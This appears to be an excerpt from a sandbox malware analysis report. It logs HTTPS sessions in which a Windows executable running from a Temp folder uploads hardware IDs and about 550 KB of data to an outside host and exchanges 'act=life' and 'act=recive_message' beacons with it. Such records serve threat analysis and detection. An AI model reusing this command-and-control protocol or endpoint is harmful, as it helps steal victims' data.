2024-10-30 20:56:26 UTC	1268	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:27 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhgvocoh4ula8gursrdlmsp7jd; expires=Sun, 23-Feb-2025 14:43:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fbZCSJhmPhlfrjHmZvzyUPngIr7Fbp4P0b%2B7FC1Sm3IRvMubsaLIH22wlsO1P7wvGler5k%2FeX2QdE0MS1YSFXlbeKvTsvPHTPulvKazgpRwJbs27GetcG0S0ylHQHbtROlW%2Fn94%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4fe09de02e77-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2273&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2187&delivery_rate=1260774&cwnd=251&unsent_bytes=0&cid=788888e1ddadd09c&ts=537&x=0"
2024-10-30 20:56:27 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 20:56:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50242	188.114.96.3	443	7060	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:29 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551562 Host: necklacedmny.store
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 46 38 46 42 32 35 35 39 39 35 43 46 41 35 35 41 34 39 44 33 41 46 43 35 34 31 45 30 46 46 46 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"AF8FB255995CFA55A49D3AFC541E0FFF--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 9a be 28 80 06 ec 96 5a c5 71 59 fb c3 4f f6 e6 e5 49 c5 1d d8 d3 8f 2d 0b 66 89 d1 3d 74 f0 a6 6f 63 78 cd 34 05 e0 f3 5b be e0 4f 96 3b eb 0d 4c d9 d4 62 ae ad 3f 0c 9f 95 ea 6f 92 5a 79 37 d5 2c 37 f6 cd 80 a4 34 83 fb 52 a8 a1 08 6f 09 2d 7e e8 b5 d0 fc a7 b6 7f 0c 63 8d 91 b1 aa c9 41 18 64 f9 9c cc 24 a4 07 42 92 5b 73 da ae f1 89 a2 fb 0d 8d 1f 1a bf 0f 99 8c 22 2b df 73 b0 85 f2 0c 10 ea 0a 5f 8d 5a 86 7c 89 f1 09 41 73 ab 85 ab ee 25 d0 94 73 c1 53 cb 3f f4 99 37 1a 9a 66 d0 35 f8 5c 4f e8 ae fa 0f 7c 5f ec 31 a5 62 5c 5a 78 40 89 bd 87 a0 40 b0 14 7e f3 da a4 75 a2 00 65 69 52 ed 7b 52 58 d4 85 ad e8 e0 13 91 fb e9 5e 7f c8 94 b5 b5 b9 a0 42 57 70 64 70 55 91 d1 77 c7 1e 09 8e 23 c9 87 71 fe 89 90 bb 03 a8 25 37 43 70 10 77 4c 62 94 e2 cf de 50 Data Ascii: (ZqYOI-f=tocx4[O;Lb?oZy7,74Ro-~cAd$B[s"+s_Z\|As%sS?7f5\O\|_1b\Zx@@~ueiR{RX^BWpdpUw#q%7CpwLbP
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: e3 0c 2e 47 d5 2a 51 be fe 41 6e bf b0 fc 54 f0 66 9b 9b 42 40 5a 19 0e dc 2f a1 02 ac b0 04 aa 36 df 30 1d 97 96 4a 3c 11 e6 bc e7 99 70 6b 96 86 77 76 6c dd b3 f4 98 3a ca 80 a4 b7 17 57 45 49 e8 da 71 72 22 ea ad 64 61 20 fa d3 30 25 2e 3a 8e 82 db dd 86 ba 73 5b d4 27 94 4f cc 23 45 c6 21 c2 cd e6 04 56 18 e2 fb d3 b8 e0 8a 70 23 ca 3f 71 0e f1 32 40 49 b9 94 7f a1 b6 23 18 a1 2f 38 5b 9b c1 90 d8 5a d5 37 9e 51 fa 3d 5a 65 3c 56 5b a1 3c d5 9b a0 82 cf 8e 8b c0 94 6e bb b5 11 eb 99 95 ec 8c c1 ac 6f 05 a9 a6 0a 73 8b 82 47 5a 22 59 ee 0b bf 71 c2 47 22 2d ed 26 72 2a da b4 e3 d6 38 4d 2c f7 82 a6 19 be b9 e6 71 e3 ab 77 c2 43 9b eb 47 d6 7d 4d 69 01 a2 6d 72 a9 11 77 7a 57 b5 c8 5f 7d 89 6d 86 1d e1 b2 cc 73 35 79 88 76 dc 84 64 a6 b4 8f 60 f5 a9 b6 Data Ascii: .GQAnTfB@Z/60J<pkwvl:WEIqr"da 0%.:s['O#E!Vp#?q2@I#/8[Z7Q=Ze<V[<nosGZ"YqG"-&r8M,qwCG}MimrwzW_}ms5yvd`
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: db f5 af a3 08 a3 a7 4d 1c d1 98 25 77 a2 5c fd e6 c1 5b 02 0c 1d b9 b3 3f fc be a4 19 ff f7 ce 56 88 a1 17 1d d4 f7 7c 8e ff 47 08 a1 03 cc a9 23 3f a3 b0 55 80 07 e7 f0 76 18 c0 bb 73 c8 63 e9 ce e4 ec ff 7b 76 f8 29 d0 75 06 69 c1 30 72 d3 80 de 9d 7e 15 58 bb e3 1b da f9 40 fc ac 77 87 4e 5f a4 5b b1 d8 cb 57 e9 01 2d 16 68 f2 3f b0 87 70 9c 04 bc c7 25 ac 54 15 48 9d 17 65 74 fe 79 42 67 6c 1f 86 1d 09 36 c5 38 bf d3 36 4d 78 c0 c3 87 32 8d d4 c9 f5 c3 11 d4 ff fe f8 4d 29 9c ff 27 27 42 8c ef 66 92 19 ec 10 08 04 c9 8c 5f 81 aa 8c b2 52 7a d2 0d 52 05 6a fa 22 f5 9b 00 23 5d 42 1c 0d 27 3f 8e 23 70 a2 4b c4 56 7e 5b 85 1f f5 e8 e3 fd 8a 73 a4 36 ee 6a c6 ef 69 56 5e a9 d3 ca 52 4c 1c 49 72 49 47 87 f7 99 1e ac 44 b3 b3 f1 6b 2b 8e 6b c2 02 bb 05 f3 Data Ascii: M%w\[?V\|G#?Uvsc{v)ui0r~X@wN_[W-h?p%THetyBgl686Mx2M)''Bf_RzRj"#]B'?#pKV~[s6jiV^RLIrIGDk+k
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 4c 5b 51 a6 0e ea c3 57 f1 af fc b7 8a 41 d4 77 e7 40 4e 77 97 da 50 7a 20 db 2f 8d 65 b5 66 72 f6 12 b9 6a d3 6f 4d 1f 8f 9f 38 ce 79 77 7e 8e 4f 0a 7f 00 4f 47 f0 2a 0b e7 fa 36 bc 39 ec 46 1a 92 93 f8 d8 0d f1 a6 c9 4c a3 0f 0a 75 d5 8b 23 9d 15 81 92 bf cf 28 33 14 44 5e 01 3a 9e e3 a7 9d 19 1d d6 a1 e1 01 21 2f 39 26 04 71 bc 81 12 13 5b 7c 83 8c 22 87 e2 58 c2 7e 3b e3 08 e4 c7 8e cb db 1d 23 26 15 18 c8 0a ed db 73 8e e5 7e ea 84 97 98 8e d8 f6 cf e5 93 9a 98 fb 72 a1 77 fe 9d 4e 72 9f 99 21 a5 ad 49 6e 26 7a e3 f7 81 73 1f 9c 9a 8c 3b 0f 82 97 87 93 3c f9 38 4b 7d b0 b6 f6 69 44 2b e2 9a 42 b0 61 da 17 e5 fe 6e 08 d1 e2 9c 3a 3e a8 18 7a f9 df 5b 50 85 85 cf c5 85 ac b3 2e 81 b8 52 88 41 80 bf 06 62 2c 21 90 3a c7 28 b4 c9 bc 20 a1 6b f4 03 ca ac Data Ascii: L[QWAw@NwPz /efrjoM8yw~OOG*69FLu#(3D^:!/9&q[\|"X~;#&s~rwNr!In&zs;<8K}iD+Ban:>z[P.RAb,!:( k
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 1e 68 3b b3 5c f1 0e 03 4d d6 e1 02 8c 93 f2 42 c8 9c af 3f f0 2c f7 e7 dc 23 52 04 c0 b4 ad b7 d4 81 54 37 81 14 ea d0 46 13 1a 1e e6 84 b8 9d cd 5f e7 cc 56 27 94 1a b1 bb a5 50 af 34 58 ed d8 89 1e 58 d1 aa 07 5e 33 fc 7d 85 84 23 80 05 d6 f2 1f 02 eb 0b fc 9a fc e0 08 a2 90 02 74 da 16 f8 73 32 6a 49 da 9c 18 56 46 05 57 0c 54 bd f3 f6 59 19 fa ac b6 35 cf 1e fb cf 5b 81 23 0c 9c c3 ce 60 41 2c 2f d0 5c 68 61 f2 17 ff 39 8e 43 f1 bc d0 b2 fb 1c 33 64 ff 55 48 b7 46 3a 65 5a 50 25 2a a2 37 7b 33 42 5e 15 21 cd ac 6f 3e 49 8e 98 32 17 7c 57 a1 69 32 a0 e3 51 12 79 88 bc e6 d9 a1 37 ff a1 e0 80 89 df 6f 9c 91 1e 56 02 a8 60 a3 4c 01 7c c5 5a 1d 0d c5 62 c0 d6 53 69 1d 15 90 4b f0 b5 d3 84 3e d2 e0 d6 cb 10 c3 52 6e 27 4e 84 c1 4c f1 ae db 33 2f c6 53 37 Data Ascii: h;\MB?,#RT7F_V'P4XX^3}#ts2jIVFWTY5[#`A,/\ha9C3dUHF:eZP%*7{3B^!o>I2\|Wi2Qy7oV`L\|ZbSiK>Rn'NL3/S7
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 1b 97 f6 05 fe 26 99 06 10 e5 1f 3f 3d 11 5e b1 1f cd cb d9 b4 40 0d db 93 10 a1 36 b3 62 ad eb 67 ce 11 15 9e 91 f3 71 c7 b6 5b 3c d6 ca 13 f8 33 da 65 aa 0a 5d fe 6f 1f 9a 11 a3 61 39 fe ab 38 ad 5a 42 c6 1f 3e bf d3 b5 80 ad 2a 81 ea c2 3d 09 d4 fa 71 c2 26 f3 68 d4 7b 71 ad 71 f0 2d f5 44 5a 88 44 a6 f2 04 c2 8e 49 b1 0f ff c3 97 a7 c8 22 21 d8 27 cf 95 fd ee 0f 6e be 97 5f 33 6b a7 cd d3 e7 a6 55 96 60 c4 0e c3 bd 9e 7c 27 29 e2 e8 a4 16 8a 76 6f ab 4d 6c 34 ec 37 fa a6 5e 73 bc 37 3b bb ad 04 b2 76 10 e1 a7 f0 6f 48 e0 af 3a c4 fe 19 24 4a c1 78 c4 db 96 b6 43 38 35 85 93 97 1a de 19 a3 ba ca 8a ee 29 e4 24 6a 8e 73 5c 5f 26 e1 ad ee 91 66 0d fd b0 d7 cf c9 d0 12 bd 13 e0 b6 52 96 c0 54 e7 54 81 3f 6a 6f 99 eb a0 4d 8b 49 9e 79 bb 01 42 12 bc 0d 4e Data Ascii: &?=^@6bgq[<3e]oa98ZB>*=q&h{qq-DZDI"!'n_3kU`\|')voMl47^s7;voH:$JxC85)$js\_&fRTT?joMIyBN
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 3f 89 b1 5e c7 71 8b 87 21 12 28 b9 71 8e 6f ec aa 87 44 d0 6b 24 8d 7f 9f e8 1f 93 6d 83 f2 20 4f 23 58 e3 ad b1 fa ac 12 a1 04 09 ff 42 d6 bf b8 9e 54 ad 84 c6 36 bb b7 8b 95 ef 3d e7 90 5e 89 f1 0d 24 90 09 0d 65 5a 14 ec a5 1b 84 81 18 6d 43 bc 50 c3 88 71 88 6f 87 fb c5 87 d8 4b 75 06 f2 f8 62 d4 95 74 c2 dd c3 66 2d de 97 1e 10 32 9d fc d8 bf e9 96 d9 35 c0 2f 8a aa fd ef c9 78 71 70 48 f2 d1 6e bf 41 e1 62 e0 ee f8 56 11 cc ca 21 26 48 f9 01 1c 5f f4 a9 2f ea b4 d3 c7 49 5f 69 ce 9a a2 f4 a5 c6 e8 26 24 6a 20 ad 18 14 0e f1 21 02 14 a1 d6 9e 7e 8b 70 43 eb d5 16 4b a9 73 ba f8 f6 08 5a 80 77 a1 04 78 0a 13 df 5d 10 26 e5 3e c2 2e 06 ad f5 1f 89 31 f4 07 3b 53 22 7d cf 9b 30 0a df a5 2e 59 ed 1c 94 2f 3a dc 80 20 3d 41 c3 52 08 31 99 b7 27 b4 7e 4a Data Ascii: ?^q!(qoDk$m O#XBT6=^$eZmCPqoKubtf-25/xqpHnAbV!&H_/I_i&$j !~pCKsZwx]&>.1;S"}0.Y/: =AR1'~J
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: 3b 87 65 6e 72 54 a6 fd 39 47 43 85 8e 5b 94 e1 97 58 e5 f9 ee 7e 98 d7 f7 6c 9f d5 05 64 b0 12 15 a6 3d c8 0f a2 99 2a 77 6a 69 c1 cc 47 38 fc a4 4a bb fd 42 35 aa ac 9e b5 18 cc cf 43 e2 21 24 7b 8f 82 30 c3 5a 3f f7 05 d1 0f f5 5b 65 e8 87 f7 70 26 45 1c 4f ed b4 f6 16 b8 c8 91 cd c6 13 f1 0a 03 ac b1 a0 02 2f b3 98 b8 e8 5b 15 d6 5d aa 83 ad f0 ef 15 f1 7d b1 1b 62 37 bb 59 aa bc 41 95 6a d1 df 9b cc b8 cd f9 0f ad c7 86 1f ba 47 85 38 11 ea f7 f7 8f 28 ad 32 95 c3 13 42 d4 42 86 ca a2 10 f4 dd e9 f1 61 a0 2c 8c ef 05 bc 26 3d c7 4f 7b b0 bc fe 6b 18 36 ff ed 5d de 05 70 13 a9 3f 8f 0b 81 63 ef ed cd 88 cf 8b 91 ee 4d 1f 2a 0c 7f d7 c4 0b 14 7c cb 66 4c 1c 2e 18 e5 86 4f 1e d0 a3 4e 8e 79 1c 7f 52 4b 06 7a 62 d3 00 e1 7e a9 a0 0c 2a a8 a8 c6 d2 a3 90 Data Ascii: ;enrT9GC[X~ld=wjiG8JB5C!${0Z?[ep&EO/[]}b7YAjG8(2BBa,&=O{k6]p?cM\|fL.ONyRKzb~*
2024-10-30 20:56:29 UTC	15331	OUT	Data Raw: a9 7d a3 d3 52 ac 1f 97 13 e5 23 41 e8 14 1e c5 a8 53 18 17 42 e0 25 d8 e2 fa 12 44 09 e6 93 63 69 f8 14 1f 17 07 71 d9 ab 4d 85 19 7a f1 21 fc 87 b8 18 94 2c a4 be 20 56 24 6b 1c 31 97 c2 4b a8 fc 34 89 7f d3 22 59 6f 14 44 68 95 86 f7 3e 5c 73 4d 30 95 02 bd 26 15 28 8d 10 07 d9 08 42 ef cd 3d ac e4 d6 1f 9f 52 2d 8c 0f ac 4f 3d 4a c2 6b 08 b7 bf c3 03 e3 a4 cd f3 13 fc f7 c9 1f 79 36 a0 fa 40 8b c0 fb 42 9d 50 ef 79 c5 4b 5f e3 22 e9 b6 cc 85 08 f7 81 09 53 bd cf c1 34 4d 74 8d 91 71 97 2e 08 9d ff 39 9d 61 34 10 f5 49 9b e3 3a de b2 6e d3 b2 d9 c1 37 1a d3 2a 88 f0 e9 21 fd c0 05 de bf 66 fc 7a 0b d1 d8 84 fe 58 c2 66 51 e5 44 bd fb 40 32 6f 46 9c f5 ab 27 b9 f2 cd e0 e6 f3 ca f5 01 9b 72 da 4d d6 af 39 85 02 da 22 2b 88 7b 4e 14 a2 2d 0e 11 02 48 99 Data Ascii: }R#ASB%DciqMz!, V$k1K4"YoDh>\sM0&(B=R-O=Jky6@BPyK_"S4Mtq.9a4I:n7*!fzXfQD@2oF'rM9"+{N-H
2024-10-30 20:56:31 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e4g35p0r2sdv6maf39b6m56io8; expires=Sun, 23-Feb-2025 14:43:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RjGaVfh2%2B9DbHldLb%2FMF4IK8pHnrWrp32ojeu7%2FV1%2FLBFJ4rR20MSyWICpnlubyc95ScWqsfLOnKY5i9Y29mEu3iLIQibuuiqQXRFAzAmMqPIQMXhye%2FO9F1jgooAv7DDsqBvEg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4feedd14cb75-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1140&sent=223&recv=591&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554045&delivery_rate=2429530&cwnd=183&unsent_bytes=0&cid=ae268f9861cad065&ts=2557&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50243	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:30 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 20:56:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 20:56:30 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mqg61g55c88v61rc9v2788e4i6; expires=Sun, 23-Feb-2025 14:43:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0RpC1MnmDuWongmkJzapF7QvaH0Hb%2FpeLflKwiKpoHRe%2FTEfXoywrluJpodAk9uTvPqMgzpTMudpztl3ukwat1RhBdqqvOLF8KXyEQDRUHZO0hYoe3cAnLjQGaCodHIoH8GBwOI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4ff56bef4751-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2389438&cwnd=251&unsent_bytes=0&cid=e3547e578b59877e&ts=716&x=0"
2024-10-30 20:56:30 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 20:56:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50244	188.114.96.3	443	6308	C:\Users\user\AppData\Local\Temp\1002708001\c1b0009d40.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 20:56:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 20:56:31 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 20:56:32 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 20:56:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ocngf0knkels1fkk247ov450gb; expires=Sun, 23-Feb-2025 14:43:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HGz9XrkUIP2e2IUji9B3krApYoqfGIrbF6hAocnF0pO9fUGV0KqH1cdqi9cBKTEClLl7fdvV6TEeHaPZ67z911whcfoohLCTIUZsIctlkC%2BG%2BIjStte3wcx0WBH9QpNUZiJQIa0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dae4ffe4cc328b3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2355&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1223489&cwnd=229&unsent_bytes=0&cid=1185470f61fca732&ts=469&x=0"
2024-10-30 20:56:32 UTC	358	IN	Data Raw: 34 34 36 63 0d 0a 45 73 79 6c 65 75 55 6b 41 6b 39 6e 32 35 50 51 73 71 72 6c 72 66 6c 69 6e 70 46 39 78 35 39 2b 68 74 70 31 55 6b 5a 4b 44 6a 70 70 37 74 4e 59 33 78 41 75 62 52 53 2b 73 65 72 47 32 4a 44 49 31 55 44 2f 39 56 2f 39 2b 52 2f 71 71 52 42 2b 5a 44 78 6a 47 43 69 71 78 42 61 57 51 53 35 74 41 71 4f 78 36 75 6e 52 78 38 69 58 51 4b 53 7a 47 4b 33 39 48 2b 71 34 46 44 6b 70 4f 6d 4a 5a 65 71 44 43 45 6f 42 48 5a 69 34 4c 74 76 61 31 31 38 75 50 77 35 41 50 39 76 78 66 36 37 30 62 2f 50 68 50 63 41 73 76 65 6c 74 66 72 64 59 52 78 31 6b 75 4e 45 57 2b 2f 66 4b 49 69 49 54 49 6d 77 37 34 39 52 61 76 39 78 62 69 75 52 45 34 4e 69 4e 6f 55 6e 71 75 77 52 4f 4b 54 6e 49 6a 41 62 48 39 73 39 33 4c 78 34 48 62 42 2b 53 7a 52 2b 57 75 4c 75 65 70 42 Data Ascii: 446cEsyleuUkAk9n25PQsqrlrflinpF9x59+htp1UkZKDjpp7tNY3xAubRS+serG2JDI1UD/9V/9+R/qqRB+ZDxjGCiqxBaWQS5tAqOx6unRx8iXQKSzGK39H+q4FDkpOmJZeqDCEoBHZi4Ltva118uPw5AP9vxf670b/PhPcAsveltfrdYRx1kuNEW+/fKIiITImw749Rav9xbiuRE4NiNoUnquwROKTnIjAbH9s93Lx4HbB+SzR+WuLuepB
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 44 62 4c 36 74 38 4c 44 6a 73 4b 57 41 50 48 35 45 4b 62 39 47 2b 36 79 47 44 6f 67 4a 57 46 65 63 4b 36 48 56 73 64 42 65 47 31 64 2b 64 4b 33 77 4d 2b 4c 32 64 6b 36 76 4f 78 52 76 4c 30 62 36 50 68 50 63 43 77 74 62 31 74 37 6f 63 51 51 6a 46 52 67 50 77 4f 30 39 4b 44 57 7a 59 6e 46 6d 42 4c 32 2f 52 6d 6d 39 42 66 74 76 52 41 30 5a 47 59 73 58 32 6a 75 6e 31 69 6d 53 32 73 68 44 36 37 78 38 73 2b 47 6e 6f 2b 63 44 4c 79 72 58 36 48 38 47 4f 57 38 47 54 34 67 4a 47 70 57 66 61 48 42 45 6f 64 42 61 69 55 4e 75 50 79 35 33 38 69 43 77 70 38 47 38 50 49 61 35 62 4e 63 34 36 42 58 61 47 51 47 61 31 74 69 37 50 49 62 69 55 68 6e 4f 30 57 6d 76 36 75 51 7a 34 75 50 77 30 44 79 39 68 43 33 2f 41 37 68 74 67 55 38 49 53 35 68 57 33 36 75 77 68 2b 4b 53 47 59 Data Ascii: DbL6t8LDjsKWAPH5EKb9G+6yGDogJWFecK6HVsdBeG1d+dK3wM+L2dk6vOxRvL0b6PhPcCwtb1t7ocQQjFRgPwO09KDWzYnFmBL2/Rmm9BftvRA0ZGYsX2jun1imS2shD67x8s+Gno+cDLyrX6H8GOW8GT4gJGpWfaHBEodBaiUNuPy538iCwp8G8PIa5bNc46BXaGQGa1ti7PIbiUhnO0Wmv6uQz4uPw0Dy9hC3/A7htgU8IS5hW36uwh+KSGY
2024-10-30 20:56:32 UTC	1369	IN	Data Raw: 36 75 51 7a 34 75 50 77 30 44 77 2b 68 2b 75 39 78 6a 6b 76 78 6f 31 4a 79 39 76 56 58 65 6b 79 52 2b 44 53 6d 6b 67 41 37 6e 32 74 74 58 61 67 73 61 58 44 4c 79 39 58 36 4c 6c 58 4c 7a 34 4f 44 63 79 4b 30 4e 62 59 61 65 48 42 38 6c 66 49 43 6f 4a 2b 61 6e 79 31 38 32 50 78 4a 30 49 2f 4f 45 61 71 2f 59 64 37 72 34 57 50 53 67 75 62 46 6c 77 71 4d 73 59 67 45 46 79 50 77 43 2f 34 37 69 51 68 73 66 49 67 30 43 6b 73 79 6d 31 36 67 33 79 2b 69 49 7a 4b 69 5a 72 54 6a 43 78 69 51 48 48 51 57 78 74 58 66 6e 36 73 74 7a 50 6a 38 6d 66 43 50 50 38 46 72 66 38 45 4f 71 71 45 44 41 74 4a 6d 4e 55 65 61 50 41 46 59 78 4d 62 53 6b 43 75 4c 48 38 6b 4d 2b 66 6a 38 4e 41 79 75 4d 53 71 64 4d 58 36 4c 46 58 4c 32 6f 78 4c 46 39 38 37 70 39 59 67 30 70 6f 4a 77 71 77 Data Ascii: 6uQz4uPw0Dw+h+u9xjkvxo1Jy9vVXekyR+DSmkgA7n2ttXagsaXDLy9X6LlXLz4ODcyK0NbYaeHB8lfICoJ+any182PxJ0I/OEaq/Yd7r4WPSgubFlwqMsYgEFyPwC/47iQhsfIg0Cksym16g3y+iIzKiZrTjCxiQHHQWxtXfn6stzPj8mfCPP8Frf8EOqqEDAtJmNUeaPAFYxMbSkCuLH8kM+fj8NAyuMSqdMX6LFXL2oxLF987p9Yg0poJwqw
